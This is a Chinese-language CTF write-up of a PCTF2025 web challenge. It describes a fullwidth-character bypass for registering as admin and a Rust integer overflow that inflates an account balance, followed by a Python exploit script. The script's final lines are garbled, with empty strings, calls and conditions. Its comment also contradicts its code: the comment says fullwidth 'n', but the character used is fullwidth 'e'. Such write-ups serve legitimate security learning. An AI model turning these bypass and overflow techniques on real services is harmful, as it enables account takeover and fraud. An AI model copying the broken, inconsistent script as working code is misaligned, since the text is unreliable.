PCTF2025 Web 后半部分解题复盘
本次复盘主要涵盖 PCTF2025 Web 赛题的后半部分,涉及多个经典漏洞场景,包括字符绕过、整数溢出、JWT 伪造、命令执行及 SSTI 等。以下按题目顺序梳理思路与利用链。
神秘商店
题目入口仅有一个登录框。常规思路是尝试注册 admin,但后端存在全角字符转换逻辑。利用全角字符(如 admin)可以绕过后端对 admin 的严格检测,导致覆盖注册或密码修改。
核心漏洞点:
- 全角绕过:前端提交全角用户名,后端未做统一编码处理,直接识别为普通
admin。 - 整数溢出:余额计算使用 Rust 编写,存在整数溢出风险。通过构造特定数值(如
4294967246),在转换为有符号整数时发生溢出,导致余额异常增加,从而购买 Flag。
自动化脚本示例:
import requests
def exploit():
url = "http://challenge2.pctf.top:32735"
session = requests.Session()
# 1. 注册管理员账户 (使用全角 n)
print("[+] 注册管理员账户...")
users = {"username": "admi\uFF45", "password": "123456"}
response = session.post(f"{url}/register", data=users)
print(f"[+] 注册响应:{response.status_code}")
# 2. 登录
print("[+] 登录...")
response = session.post(f"{url}/login", data=users)
print(f"[+] 登录响应:{response.status_code}")
# 3. 触发 Rust 整数溢出
print("[+] 触发 Rust 整数溢出...")
amount = {"amount": 4294967246}
response = session.post(f"{url}/add_balance", data=amount)
print(f"[+] 增加余额:")
()
product = {: }
response = session.post(, json=product)
()
__name__ == :
exploit()


